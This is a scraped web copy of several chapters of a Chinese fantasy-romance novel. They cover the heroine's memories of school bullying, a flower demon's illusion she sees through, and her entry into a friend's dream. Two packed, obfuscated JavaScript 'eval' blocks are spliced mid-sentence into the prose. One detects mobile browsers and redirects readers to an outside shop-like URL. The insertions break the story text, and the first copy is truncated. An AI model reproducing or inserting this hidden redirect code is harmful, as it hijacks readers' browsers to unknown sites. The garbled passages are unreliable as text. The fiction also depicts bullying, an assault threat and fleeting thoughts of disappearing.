当最后一本书被放回抽屉时,小凤突然开口:“颜悬昭,你知道吗?” “我恨你。” 颜悬昭惊讶地抬头,看见小凤脸上滑落的泪水弄花了她精致的妆容。 她都没有恨她,她又有什么资格来恨她? 这一刻荒谬到让颜悬昭想笑,承受方没有流泪,施暴方反倒先行崩溃。 “你以为你是什么高高在上的救世主吗?之前一直装看不见,后面又自作主张告诉老班,你知不知道这样做会害死我的!!!”小凤近乎歇斯底里。 泪水如同骤然溃堤般源源不断流出,冲破了浓厚的眼线,在小凤脸上留下道道黑色的划痕。 “我也是没办法……我没办法了。”小凤有些神经质地反复喃喃着,“要是让他们以为是我向老班告密,我就死定了……” 说着说着,她突然狠狠瞪了颜悬昭一眼:“都怪你!是你毁了一切!” 颜悬昭这才惊觉她眼里的恨意竟是如此真切。 “还装什么清高,不肯找替死鬼,自己硬抗着,”她怨怼地推搡着她,“明明只要像我一样,就能被他们接纳、就能逃过一劫。你为什么不这样做!为什么啊!” 颜悬昭踉跄着,扶住课桌才站稳。她抓住小凤的手腕,愤怒甩开:“我不想变得和你一样,为虎作伥,令人作呕!” 颜悬昭从来没说过这么重的话,一出口她就后悔了。 眼前的小凤呆愣了片刻,随后疯狂地笑了起来,眼里怨毒浓重到有如实质:“好、颜悬昭你就继续清高吧……不做怅鬼,就会沦为盘中餐。你会后悔的!” 说罢,她头也不回地转身就走。 颜悬昭独自站在空荡荡的教室里,清楚地意识到,从和小凤决裂的这刻开始,她将坠入更深的深渊。 她低着头,继续收拾着凌乱的抽屉。 没关系的,你以前也是没有朋友的。从前没有也过来了,以后也不需要了。 颜悬昭,你不需要朋友的。 泪水一滴滴打湿了摊开的课本,字迹变得模糊不清。 自那以后,颜悬昭在班级里的生存环境越发艰难。她意识到自己越反抗只会招致更加猛烈的报复,于是在一天天中变得越发沉默。 颜悬昭原以为她要一直承受着这些熬过剩下的两年。 直到有一天,班级里来了一个奇怪的转校生。 31. 镜花水月(四) “砰——”厕所隔间的门被重重关上,引得整个门板剧烈震颤,门外传来他们得意的哄笑:“颜悬昭,好好在你老家享受吧!” 脚步声渐渐远去,颜悬昭无助地靠着门板滑落坐地。身上的衣服被污水浸透了,散发着阵阵令人作呕的酸臭味。 那些人故意挑在放学后,人都走光的时候,把她拖到废弃教学楼里最偏僻的这个厕所。不仅泼了她一身脏水,还把隔间的门从外面别死了。 她想要出去,恐怕要等到明天清洁的阿姨来上班才行。 确定外面彻底没有动静后,颜悬昭才敢站起身,用力推了推门板,门板却纹丝不动,像是在外头被人用东西别死了。 颜悬昭不死心地拍打着门板,提高音量向外求救:“有人吗?能不能给我开个门?” 一连喊了好几声,外头都静悄悄的,无人回应。 颜悬昭彻底陷入绝望。 她的手机被他们抢走扔进污水里泡坏了,没办法对外打电话求救。教学楼里早已空无一人,不会有人听得到她的求救,更不会有人注意到她失踪了前来找她。 她重新坐回冰冷的地面,抱着双膝蜷缩在角落。 至少,他们没有动手打她,这算是不幸中的万幸了。比起脏污和黑暗,她更怕疼,只要不疼就好了。 颜悬昭苦中作乐般想着,安慰着自己。 然而,她还是低估了秋季夜晚的寒意。 随着入夜,气温也逐渐降低,浸透了污水的衣服紧贴在她身上,仿佛结了一层薄薄的冰霜覆盖在了皮肤之上。 颜悬昭不由得更用力地抱紧了自己,试图让自己的体温不要这么快的流失。但这一切都是徒劳的,寒意无孔不入地钻进她的身体,她被冻到嘴唇不住发颤。 这时,她听到了一阵升空的尖锐爆鸣,随后轰然炸开、窸窣燃烧,一波接着一波,延绵不绝、热闹无比。 是烟花。 她这才想起,过了今晚十二点就是中秋节了,一个阖家团圆的日子。 就在这么一个微妙的瞬间,颜悬昭突然崩溃了。 她的浑身如同冻僵硬的冰雕,唯有无声滑落的泪水带有温度。 颜悬昭觉得自己一向很坚强。父母的抛弃,朋友的背叛,同学的欺凌——这些都不曾让她真正崩溃。 可偏偏在这一刻,窗外热闹的烟花声彻底击溃了她。 此刻,那些有家的人一定其乐融融地围坐一起欣赏着美丽的圆月和灿烂的烟花,桌上摆着各式各样的月饼。 小孩们还会提着各种各样的漂亮灯笼和伙伴们追逐打闹,他们的父母则在背后宠溺而担忧地唤着他们;“跑慢点”。 又或者,他们会围在餐桌旁举杯庆贺。杯沿碰到一块的清脆声被他们高昂的祝贺所覆盖:“干杯!年年有今日,岁岁有今朝。” 每个人的脸上都洋溢着笑容,沉浸于他们习以为常的幸福里。 颜悬昭没有感受过家的感觉,更别提和家里人过中秋。她甚至没有吃过一个完整的月饼,也没有过一个属于她的灯笼。 以往的中秋,她都是当平常的一天过。今年的中秋却格外难熬,她被困在湿冷发臭的厕所的隔间里,感受着别人的幸福,反刍着积压许久的苦痛。 所有的负面情绪如同海啸爆发般淹没了她。 她不明白,人生为什么会这样的痛苦?她已经拼尽全力地努力着,却还是逃不出痛苦的泥淖。 这世间真的存在幸福吗?或许是存在的,只是永远不可能属于颜悬昭。 她六亲缘浅、命运多舛,想要达成的事情总是阴错阳差、一波三折,比常人更多艰辛,从未得到命运的厚爱。 父母弃养、朋友背离、神憎鬼厌。 或许她这样的人就是不值得被爱的,生来就是遭人厌弃的。 既然如此为何要让她存在于这个世界呢,消失了会不会更好?也免惹得大家心烦…… “颜悬昭!”一声呼喝如同惊雷般猛地在她耳边炸响。 她错愕地抬起满是泪痕的脸,紧接着就看见厕所隔间的门被人猛地拉开,灌进了一阵强烈的冷风。 身材颀长的少年出现在了她的面前,目光死死地锁定着她,正扶着门框,胸膛剧烈起伏着。 颜悬昭没想到还会有人来找她,这个人还是她转学过来没几天,甚至还很陌生的同桌。 这般冷的天,他居然发梢都湿透了,浑身散发着蒸腾的白气,好似奔跑了许久。 他大步向前,捞出了蜷缩在隔间里头的她。 颜悬昭害怕地瑟缩了一下,却被他不容置疑地被他抱紧在了怀里,怀抱强势却又小心。 颜悬昭感受着陌生的异性气息,身体僵硬地一动不敢动。 他将她的头摁进了他的颈窝里,不住地喃喃道:“没事了、没事了……都是他们的错、那群贱人的错,他们都该死……” 颜悬昭这才惊觉他的身体竟也在微微颤抖着。 是因为冷,还是因为…… 他松开怀抱,仔细打量着她,确认她没有受伤后,紧绷的表情才有所缓和。 他脱下身上的毛衣和外套一股脑地扔给了她,旋即背过身去,言简意赅道:“把湿的衣服脱了,换上。” 颜悬昭看着他只穿着单薄衬衫的背影,犹豫道:“可是……” “穿上。”他打断,发觉自己的语气太过冷硬,又缓下声音补充了一句:“别着凉了。” 见他态度坚决,颜悬昭不好继续推脱,红着脸,迅速换下湿透的校服。他的毛衣很柔软,还残存着他的体温,外套对她来说过于宽大,下摆直接盖到了膝盖上。 “我换好了。”颜悬昭小声道,过长的袖口被她挽了好几道,神情惶惶不安,像一个被发现偷穿大人衣服的小孩。 他转过身,目光在她身上停留片刻,淡淡“嗯”了一声,随即自然地牵起她的手往外走去。 颜悬昭的心跳漏了一拍。这是她第一次被异性牵手,掌心传来的温度让她不知所措。 等她回过神时,已经被带到了学校附近的一家便利店。 ———— 食材在奶白浓厚的汤汁里翻滚着,雾气氤氲了少年深邃的眉眼。 他在雾气中回头,问向出神的她:“吃什么?” 颜悬昭这才意识到自己花痴般一直盯着他看,脸颊顿时烧了起来。她低下头,声音细若蚊呐:“不用了......我不饿。” 她的手机和身上的钱全被那帮人拿走了。不过就算有,她也吃不起这里的关东煮。这里的东西贵得令人咂舌,她只敢远远望一眼。 “你去找个座位坐下。”少年没有继续劝她,转头将关东煮的所有种类都点了一遍,还要了双份。 颜悬昭只好依他所言,在窗边找了个位置局促地坐下,等待他。 当他端着满满一大碗的关东煮走向她时,颜悬昭还是震惊了。 她连连摆手:“我不饿,你吃吧……” 话音未落,她的肚子就不合时宜地发出了一声巨响。 他仿佛没有听到她肚子发出的尴尬声响,面色如常地拆了对一次性筷子,细心地剔除了上面的毛刺,塞到了她手中:“吃吧,我已经吃过了。” 颜悬昭拿起筷子,恨不得将头埋到碗里。 不知道为什么,她十分不想在他的面前失态。 但随着食物的香气钻进她的鼻子,饥饿战胜了矜持,她顾不得形象地大快朵颐起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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颜悬昭想不明白这样的人物怎么会关注到她,还主动救她、关心她。 莫不是她被关在厕所里,被冷到发烧,出现了幻觉? 她下意识伸手想摸自己的额头,却被他轻轻握住手腕拿下。下一秒,他的额头贴上了她的。 他们的额头相抵,距离近到可以感受到彼此呼吸的气流。 颜悬昭的心脏像疯了一样剧烈跳动着。所幸他相贴一会就松开了她,让颜悬昭不至于心脏过载而亡。 “没发烧。”他蹙紧了眉头,“哪里不舒服吗?” “没、没有。”颜悬昭结巴道,脸颊滚烫无比,“没事的话,我先回家了……” 她几乎是落荒而逃。直到走到租住的老旧居民楼下,才发现他一直跟在身后。 颜悬昭这才开始警惕他是否别有图谋,转身质问他:“你跟着我做什么?” 少年没有回答,而是走到一楼的一扇门前,掏出钥匙打开了房门。 原来他是她楼下新搬来的邻居。 颜悬昭为自己刚刚的恶毒揣测感到羞愧,连忙转身要逃上楼。 “等一下。”他在背后叫住了她。 她应言转身,却见他捏着什么东西向她快步走来。 他拉过她的手,将东西塞到她的手中。 颜悬昭低头一看,是一块包装精美的月饼。 与此同时,他的声音在她的耳边响起:“中秋节快乐。” 烟花在不远处轰然升空绽放开来,璀璨的花火照亮了昏暗的楼梯间,也照亮了他望向她的眼眸。 颜悬昭捏紧了手中的月饼,忽地懂得了那句话中的心情。 岁岁有今朝。 32. 镜花水月(五) 再次回到学校上课时,颜悬昭在同学们的窃窃私语中得知了一件令人意外的事。 那帮带头欺负她的人,不知怎地被困在了教学楼的电梯里,整整一天一夜才被救出。 据说电梯处于断电状态,空间狭小又漆黑一片。长时间受困在里面,心理承受能力差的直接就在当场吓尿了,还有的被救出来的时候已经昏厥了过去,被医护人员用担架抬了出来。 即便是还清醒着的人,事后也留下了浓重的心理阴影,纷纷请假看了好一阵子的心理医生。 小团体的核心成员们无暇顾及颜悬昭,那些大大小小的针对行为也就暂时停歇了,让她难得获得了一段平静的时光。 这段日子对颜悬昭来说弥足珍贵。她不必再担心试卷、书本不翼而飞,也不用惶惶不安于他们突如其来的捉弄,可以全身心地投入到学习之中。 她也不用再害怕夜晚兼职下班回家的道路。以往她总胆战心惊于那些昏暗的巷口会突然窜出黑影,现在有人默默跟在她的身后,陪伴着她走同样的回家道路。 因为有他的陪同,漆黑的巷道也变得不再可怕。 颜悬昭侧头看向一旁正枕在手臂上熟睡的同桌。清晨的阳光轻柔地撒在他的面庞上,透过漆黑浓密的睫毛在他眼下投下淡淡的阴影。 那些萦绕心头许久的疑问再次缠上颜悬昭:他很缺钱吗?为什么要和她一样下课要去餐馆打工,还住在破旧的筒子楼里? 这一切巧合到颜悬昭都要自作多情地以为他是为了她…… 颜悬昭猛地拍了拍自己的脑袋,狠心掐灭了自己即将萌芽的恋爱脑。 就在这时,教室门口探进一个脑袋:“谁是颜悬昭?” 颜悬昭下意识起身:“我是……有什么事吗?” 她认出了来人是隔壁班的英语科代表。 英语科代表多看了她两眼,点了点头:“英语老师找你,跟我来吧。” 英语老师昨天在课上提到市里即将举办的英语作文竞赛,她的手中有推荐名额,有意愿的同学可以向她报名。颜悬昭报名参加了初选,估计老师是为了这事找她。 颜悬昭没有多想,应了一声“好”,从抽屉里取出笔和笔记本。经过同桌身边时,她还刻意放轻了脚步,生怕吵醒他。 颜悬昭跟随着科代表的脚步,走着走着,却发现科代表带她走向的并不是英语老师的办公室。 她立刻停住了脚步,警觉地问道:“等等,我们不是去老师的办公室吗?” 科代表脚步一顿,转身道:“老师叫了很多人,办公室坐不下,大家统一集中到E栋教学楼的多媒体室开会。” 见科代表神情自若,看不出撒谎的痕迹,颜悬昭稍稍放下心来。 那群人还在请假没来上学,应该不是他们的恶作剧。 两人跨越过大半个校园,来到较为偏僻的E栋教学楼。到达多媒体室门口,科代表抢先一步推开了门,却侧身示意颜悬昭先进。 颜悬昭不疑有他,刚踏进就发现教室空空如也,就在此时,后脑突然传来一阵钝痛。 在失去意识前的最后一刻,她看见了科代表那双充满愧疚的眼睛。 颜悬昭意识再度回笼时,发现自己正躺在一个破旧仓库的地面上,耳侧传来了一道让她熟悉又毛骨悚然的声音。 “颜悬昭,你真是好样的。” 她挣扎着坐起,却在看清声音来源的那刻,脸上血色尽褪,煞白得可怕。 偌大的破旧仓库里正站着一群人,为首的几个正是平日里组织欺负她的头目。此刻的他们个个鼻青脸肿,头上身上都缠着绷带,看起来异常狼狈。 “没想到啊,你还有这个胆子。”为首一个染着火红头发的男生阴鸷地开口,“敢向我家里告状,老师都不敢,你算什么鸟?!害得老子被打了一顿,还关了几天禁闭!” “就是就是,也害惨了我。我被我妈扇了一耳光不说,这个月零花钱都没了……” “还有啊,前几天我们几个走路上莫名其妙地被人套头打了一顿,疼死了。我怀疑也是这娘们找人干的……” 其他的人也纷纷附和着、抱怨着。 颜悬昭不知道他们在说什么,茫然地摇着头:“不是我干的。我没有找人、也没有告状……” “不是你,还有谁?这里不就只有你恨毒了我们吗?我可不信你不想报仇雪恨!”红发男生根本不信她的辩解,“看来你是不见棺材不落泪啊?!彪哥,给她个教训!” 他们身后的阴影中走出一个身材高大的男人,手臂上布满了狰狞的纹身。 他们为了报复她,竟然找来了社会上的混混。 “嘁,我以为是什么难缠的角色呢,就叫我整个娘们?”彪哥不屑地打量着颜悬昭,“简单,扒掉她的外衣,给她拍几张不就行了。” 闻言,周围的人都兴奋地吹起了口哨。一张张青春洋溢的脸庞,此刻在颜悬昭眼中化为一滩滩扭曲而狰狞的鬼面向她慢慢逼近。 颜悬昭在他们的紧逼之下,步步后退,声音颤抖地祈求着:“求求你们放过我吧。真的不是我,我不敢的……我不敢的……” 那瞬的极度恐惧中,她丧失掉了所有的勇气,她想跪下,想摇首乞怜,甚至想献上最后的尊严去讨好他们,不顾一切地求饶,换取他们的心慈手软。 “砰——” 仓库的大门突然被人从外面猛地撞开,猎猎寒风灌入。少年逆光出现在门口,那一刻他的身影恍若救世的神明。 他冲到了颜悬昭的面前,将她护在了身后:“有本事冲我来,不准伤她!” 回头时,他朝她露出安抚的微笑:“放心,有我在,谁也别想伤到你。” 颜悬昭怔怔地看着他独自迎战众人,将那些人一个个打倒在地。当他终于制服最后一个人时,身上已经布满了伤痕,而被护在身后的她却毫发无损。 他踉跄地朝着她走来,明明浑身都是伤,却强撑着朝她露出温柔的笑容:“昭昭,没事了,不用怕。” 就在这时,一个原本倒地的人突然爬起,举起椅子朝他的后背砸去。 “小心!”颜悬昭失声惊呼。 少年迅速转身,抓住了袭击之人的手腕,和他扭打到了一起。 经过激烈的缠斗,他终于将对手制服,正要起身,后脑勺却猛地遭到一锤重击,下手又狠又准。 他的背后是…… 他忍着剧痛难以置信地回头:“你……” 颜悬昭面无表情地放下了手中的椅子腿。 “为什么要这样对我?”少年努力抑制因背叛而升起的怒火,声音依旧温柔,“是我哪里做得不好让你生气了吗?是我来晚了……” “没有,你做得太好了,完美到我都挑不出错。”颜悬昭赞叹道,眼神却是与语气截然相反的冰冷,“但我不喜欢。可以放我走吗?” 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实际上,当年的他们被追得狼狈不堪,只能在周旋缠斗的间隙趁机报警求助,最后是及时赶到的警察解救了他们。 男妖愤恨地拍打着地面。他还以为她已经沉迷在回忆制作的幻境之中,没想到她居然这么警觉,捏造假的记忆片段来试探他,真是功亏一篑! “而且,”颜悬昭指了指横七竖八倒了一地的人,“他才不会让我躲在他身后。” 颜悬昭兀地想起那日的场景。 他们牵着手被逼得退无可退。他就站在她的身侧,将一截椅子断腿递给她:“拿着,打倒他们。” 见她犹豫,他不容分说地将椅子腿塞到了她的手中:“这是正当防卫。一味地退缩只会让他们变本加厉。” 她摇着头:“我不行的,我害怕……” “有什么可怕的呢?你已经没什么可以失去了的。” “你要狠,比他们更狠,他们才会怕你,不敢欺负你……更何况有我为你兜底。” 颜悬昭不自觉地重复着记忆中的话语。 时隔多年,她连他这个人长什么样都不太记得清了,却仍将他的这些话记得一清二楚。 “切,就这。”男妖鄙夷道,犹是不死心,“如若是我,我肯定将心爱的女孩保护得密不透风,何必她动手……” “哎呀,小哥哥,要是十几岁的我可能就被你拿下了。”颜悬昭打断他,幽幽地感慨道,“可惜我已经被生活捶打成毒妇了。” “现在的我觉得,报仇这种事还是亲手来才痛快。撕我书的我就撕回去,打我巴掌的我就反手扇回去……窃取我记忆,还揭我伤疤的,”颜悬昭阴测测地说着,举起了手中的椅子腿,眼神凌厉,“我就送他上西天!” “别!有话好好……”男妖慌忙滑跪求饶,但话还没说完,就被颜悬昭一棍打得灰飞烟灭。 随着妖物的灰飞烟灭,幻境也开始地动山摇,仓库的墙面出现裂痕,吊顶的灰尘簌簌落下……最终一切崩塌瓦解,化为一片白光。 颜悬昭猛地睁眼坐起,发现自己正坐在一片巨大而绚烂的红色花海里。她摸了摸身上,却没有发现丝毫的伤痕,仿佛只是做了一场惊险又刺激的梦。 就在她起身时,一朵花从她胸前飘落。颜悬昭下意识接住,发现手中的花颜色鲜红如血,形状似蝶,还散发着阵阵沁人心脾的异香…… 难道这就是……镜月花?! 33. 镜花水月(六) “镜月花……”颜悬昭低头凝视着手中奇异的花,无意识地轻声念出它的名字。 水中月,镜中花。虚幻的美好,可望而不可及…… 颜悬昭猛地一砸拳。电光石火间,她想通了一切关窍——她被拉进了镜月花妖精心编织的幻境之中。 这狡猾的花妖窃取了她脑海深处的记忆碎片,幻化成“他”的模样,针对性地为她布置了一场几乎完美的美梦,企图引诱她沉沦其中。 万幸的是,她脑海里对“他”的记忆本就模糊不清、残缺不全。因此这个花妖的扮演虽然大体和他的性格行为一致,但总有些细微之处却颇为怪异,让她始终对眼前的人心存疑虑。 这份潜意识的警惕让她最终识破了迷障。幻境在被看穿的那刻如同被戳破的泡沫般消散,依托幻境存在的花妖似乎也随着梦境崩塌而湮灭,只残存下这株本体。 颜悬昭努力回想,试图在脑海中重新勾勒出幻境里“他”清晰的面容。然而,就像做了一场清醒梦,醒后梦境记忆就迅速褪色消失。无论她如何集中精神回忆,那张脸都只剩下一个模糊的、笼罩在光晕里的轮廓,细节荡然无存。 强行回忆换来了一阵阵尖锐的头痛,如同细针扎刺着脑袋。颜悬昭不得不停下了回想,惆怅地叹了口气,像是自我安慰般低声自语道:“会再相见的……” 【恭喜宿主勘破镜月花幻境。奖励成就点300,请宿主再接再厉!】系统的声音毫无预兆地响起。 颜悬昭被系统骤然响起的声音吓了一跳,但很快就回过神来,立即询问系统道:“系统,你知道应逢怜他们在哪吗?” 系统却道:【你现在所处的镜月花海既不存在于现实维度,也并非纯粹的虚幻造物。这里的空间处于一种流动和变幻的不稳定状态。总之,这里的空间法则很特殊,我无法为你提供定位和导航。】 “那我该如何出去,和他们汇合?”颜悬昭疑惑极了。 【你只管走,会遇到的。】系统如同谜语人般不清不楚地说了句。 颜悬昭只好先将手中的镜月花妥帖地收入怀中,随后站起身来,怀揣着满肚子迷茫,四处打量起身处的这片镜月花海。 单看一朵镜月花,形态妖冶,色泽艳丽,带着一种惊心动魄的瑰丽之美。但当它们成片成片地连绵在一起,无边无际地蔓延开来时,便形成了一片令人心悸的、仿佛波涛翻涌的血色海洋。空气中弥漫着的甜腻花香掺杂着腐朽的气息,浓郁得让人几乎要窒息。 颜悬昭在无穷无尽的镜月花海中渺小得如同一粒即将被血色海浪吞噬的沙粒。 但她此刻却没有产生迷失在这片血海中的恐惧,反倒是涌出了一股发现宝藏的惊喜。 “这么多镜月花,都采回去够应逢怜用到天荒地老了。”颜悬昭有些兴奋地撸起袖子,跃跃欲试。 她选中了一株看起来格外饱满、颜色最为鲜艳欲滴的镜月花,伸手握住它冰凉的茎部,深吸一口气,用力向外一拔—— 花朵却纹丝未动,如同牢牢地焊在了原地。 颜悬昭以为是自已力气不够,再次扎稳脚步,用上了吃奶的劲儿去拔,脸颊都因为过度用力而憋得微微发红。可那株镜月花依旧安然无恙地挺立着, “见鬼了,这花是金刚不坏之身吗?”颜悬昭甩了甩发烫的掌心,纳闷地抱怨道。 她不信邪地蹲下身来,打算换个思路,尝试从根部着手,将这株花连根挖起。 待她将镜月花茂密的枝干拨开时,却猛地愣在了原地。 镜月花盘根错节的血色根须并非全部深扎于土壤之中。有相当大的一部分裸露在外,缠绕在一具具雪白的骸骨之上,根茎缠绕在白骨之上有呼吸般慢慢蠕动着,看得颜悬昭头皮发麻。 没错,妖冶的镜月花丛下是密密麻麻的骸骨。这些骨骼有人类的,亦有魔兽的……天知道究竟有多少生命无声无息地陨落于此,才滋养出眼前这片庞大而妖异的花海。 颜悬昭心惊肉跳,后怕的情绪缓缓涌上心头。 若她没有及时勘破幻境,估计下场会如同这些白骨般,无声无息地在美梦中沦为镜月花丛的养料。 颜悬昭忍着恶心去碰了碰镜月花的根茎,却发现它亦是如同铁石般坚不可摧,只好彻底放弃了摘取镜月花的想法。 她已经有一株镜月花了,现在安全离开这里才是首要任务。 颜悬昭扒开层层叠叠、阻碍视线的花蔓枝叶,费力地在花海中行走着,漫无目的地在花海里找寻出口。 她机械性地行走了许久,四周的景色却仿佛没有任何变化。依旧是无穷无尽的血色花朵,依旧是那股甜腻腐朽的花香。她开始怀疑自己是不是一直在原地打转。 “系统,我真的脱离镜月花妖的幻境了吗?”颜悬昭感到身心疲惫,“它是不是设置了什么无尽噩梦给我,让我一直在花海里鬼打墙,把我逼疯……” 【不会的,宿主。每个人只会在镜月花海里经历一次幻境。打破花妖的幻境就可以杀死花妖,获得它的本体。】系统解答道。 说实话,比起那场温情脉脉却暗藏杀机的美梦,眼前这片仿佛没有尽头的血色海洋,更让颜悬昭感到毛骨悚然。 【宿主,我们必须尽快找到应逢怜并与他汇合。在这里耽搁越久,不可预知的变数就越多。】系统催促道。 在系统的催促下,颜悬昭无奈继续拔腿动身。 这一次,没走多远,她的脚尖忽然踢到了一个软软的障碍物。在这片寂静诡异的花海里,任何意外都足以让人心惊肉跳。颜悬昭吓得一个激灵,条件反射地就想一脚将那东西踹开。 【别踢,是冯念之。】系统及时叫停了她。 颜悬昭硬生生收住了几乎要踢出去的腿,心脏怦怦直跳。她连忙蹲下身,小心翼翼地拨开层层叠叠的镜月花枝叶。 枝叶之下,果然露出了冯念之的面容! 镜月花茂密的根须正缠绕着她的双臂,根尖刺破了她的衣物,扎进她的肌肤之中,正缓慢地吸食她的血肉。而身处其中的冯念之却丝毫不觉,依旧安详地闭着眼躺在花丛之中,脸上挂着幸福的微笑。 颜悬昭心急如焚地上前呼唤冯念之的名字:“念之快醒醒!快醒醒!” 她一边喊她的名字,一边大力地摇晃着她的肩膀,冯念之却仍旧没有苏醒的迹象。 颜悬昭急得伸手掰扯着那些正在吸食她血肉的根须,却怎么用力也无法将它们扯开,反而让沉迷在美梦之中的冯念之发出了一声痛苦的闷哼。 【没用的,宿主。】系统的声音带着一丝无奈,【除非靠她自己勘破幻境,否则任何外力都无法杀死与她共生的这只镜月花妖。】 “难道就这么眼睁睁地看着念之被镜月花吸食殆尽吗?”颜悬昭不甘心,又掏出了各式各样的符纸一股脑往镜月花的根须上贴,但全部无法伤害到镜月花分毫。 系统沉默良久,突然道:【宿主,你真的很奇怪。经历过好友的背叛,你应该懂得了独善其身的道理。】 颜悬昭动作一顿:“我知道……可是这一路走来,念之他们都在真心实意地帮助我们、关怀我们。我做不到明明有能力尝试,却冷眼旁观,眼睁睁看着她死在这里。那样的话,我过不了自己心里这一关。” 【人心叵测,瞬息万变,真不怕又遇到一次背刺?】 “我不去预设将来,也不奢求对等的回报。”颜悬昭斩钉截铁,“我只求我所做无愧于我心。” 【好,你的选择,我无权干涉。】系统道,【我可以帮助你进入冯念之的幻境。但我无法对幻境中的你提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663437|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供援助,里面的险境你只能独自面对。】 “快告诉我怎么做?”颜悬昭眼睛一亮,急切地追问。 【将你的手,放在缠绕在她身上的那株镜月花主体上,然后闭上眼睛,集中精神。】系统指导道。 颜悬昭依系统所言,将手放在了吸食冯念之血肉的镜月花之上,缓缓将双眼阖上。 渐渐地,她感觉自己正缓缓从躯壳中脱离,被一股无形的力量指引着,流向一个未知的地方。 【切记,千万不要让镜月花妖发现你是外来者。否则,他会用尽一切手段将你杀死在幻境之中……】 随着系统的话音消散,颜悬昭眼前骤然爆发出强烈的白光,恍若天光乍白。 她下意识睁开眼。 映入眼帘的,是一座气势恢宏的古风建筑群。亭台楼阁坐落于苍翠的群山之间,空气中飘荡着若有若无的飘渺仙气,夹杂着远处传来的潺潺流水声与隐约鹤鸣。 面前的朱漆大门上方,悬挂着一块巨大的匾额,上面镌刻着三个龙飞凤舞的大字——“怀忧宗”。 “这里就是念之他们的宗门吗?”颜悬昭立刻明白了自己身处何地,她好奇地环顾四周。 这仙家气象确实非同凡响。 但她也没有忘记肩负着的任务。当务之急是要先找到念之,将她从幻境中唤醒。 她走向守在宗门入口处的两名年轻弟子,客气地询问道:“两位道友,请问冯念之现在身处何处?” 那两名弟子并未立刻回答,反而用警惕的目光上下打量着她。其中一人开口反问道:“你是何人?找我们冯师姐有何事?” 颜悬昭维持着笑容,语气温和:“我叫颜悬昭,是你们念之师姐的好友。劳烦二位代为通传一声,就说颜悬昭前来拜访。” 两名弟子交换了一个眼神,见她态度诚恳,不似歹人,神色稍缓。先前开口的那名弟子点了点头:“既如此,请在此稍候片刻,我这就用传讯符联系冯师姐。” “有劳了。”颜悬昭道了声谢,便在一旁来回踱步等待着,心中焦灼无比。 不多时,一阵轻快而急促的脚步声便由远及近,从宗门内传来,那脚步声越来越快,最后几乎变成了小跑。 颜悬昭闻声回头,只见冯念之提着裙摆,如同一只欢快的鸟儿,从宗门里朝她飞奔而来。 冯念之激动地上前抱住了她:“昭昭姐,我还以为再也见不到你了!” 颜悬昭下意识回抱住她,轻拍着她的背:“我也很高兴见到你,念之……” 冯念之松开了她,疑惑地望了望她身后:“昭昭姐,你相公呢?怎么不一起来?” “他有事,来不了。”颜悬昭随口搪塞了一句,只想快点进入正题。 “原来如此。不过,昭昭姐你能来参加我的婚宴我已经很开心啦!”冯念之亲昵地拉着她的手晃了晃。 “婚宴?”颜悬昭被这个词惊得愣住了,眨了眨眼,有些难以置信地重复道,“……和谁?” 冯念之脸上顿时涌起两抹红晕,甜蜜道:“还能和谁……就是师兄啊。” “啊?!”颜悬昭更为震惊了。 无情道也能成亲吗,这不会走的杀妻证道路线吧? 她迅速反应过来,这并非现实,而是冯念之内心深处最炽热的渴望所化成的幻境。她必须立刻点醒她! 颜悬昭抓住冯念之的肩膀,语气急促:“念之,你听我说,这里不是……” 话还没说完,她就被一道温润的男声打断了。 “昭昭娘子。”衡遂不知何时出现在她们身旁,目光落在了颜悬昭身上。 他依旧是那副温文尔雅的模样,嘴角噙着一抹温柔笑意,说出的话却让颜悬昭不寒而栗。 “你不该在这里的。” 34. 镜花水月(七) 颜悬昭硬生生将涌到嘴边的话咽了回去。 她回想起进入幻境前系统的警告——如果被镜月花妖察觉她是个意图破坏幻境的外来者,不仅救不了念之,还得把她自己搭进去。 眼前这个“衡遂”极有可能是花妖本体化身而成的。此刻,他显然对她这个不速之客产生了疑虑。她必须立刻想到一个合情合理的解释打消他的怀疑。 “是啊,昭昭姐。”冯念之也转过头,脸上带着同样的疑惑,“你之前不是说有紧急的事要去处理,才匆匆离开的吗?怎么这么快又折返回来了?” 颜悬昭强压下心中的波澜,迅速绽开一个恰到好处的笑容,语气自然:“要事已经处理得差不多了。我听闻你即将成亲,就马不停蹄地赶回来了。你不是很想我能参加你的婚宴吗,怎么,不欢迎我?” 冯念之被她的这番话打动了,笑容越发灿烂:“怎么会不欢迎?我可想你能来了,没想到真的如愿了!” “衡遂”缓步走上前,极其自然地伸手将冯念之揽入怀中,目光却似有若无地扫过颜悬昭,声音温和依旧:“念之,只要是你真心期盼的,总会如愿以偿的。” 颜悬昭如同人机般微笑地站在原地,看着他们旁若无人地撒狗粮,心底悄然松了一口气,知道自己算是蒙混过关了。 在由冯念之心愿构建的梦境里,只要能被解释为是为了满足主人的强烈心愿,任何不合理的存在都会变得顺理成章。 她此刻只要扮演好一个满足冯念之心愿的NPC版颜悬昭就不会引起花妖怀疑。 但想要扮演好梦境中的NPC,她势必不能有过强的主观意图。那么她该如何在花妖无处不在的监视下,委婉地提醒念之这里并非现实呢? 就在颜悬昭暗自苦恼之际,冯念之却主动为她创造了一个机会。 她从“衡遂”的怀抱中钻了出来,挽住了她的手,回头朝“衡遂”挥了挥手:“师兄,你先去忙婚宴的事宜吧。我要和昭昭姐聊聊姑娘间的私房话。” “衡遂”宠溺地看着她,无奈地应了声:“好,你们慢慢聊。” 他的眼神探究地在颜悬昭脸上停落了一瞬,才转身离开。 冯念之高高兴兴地拉着颜悬昭,穿过道道连廊,来到了她的房间。 房间显然为了即将到来的喜事精心布置过,随处悬挂着喜庆的红绸,窗户上、梳妆台上都贴着大红囍字。 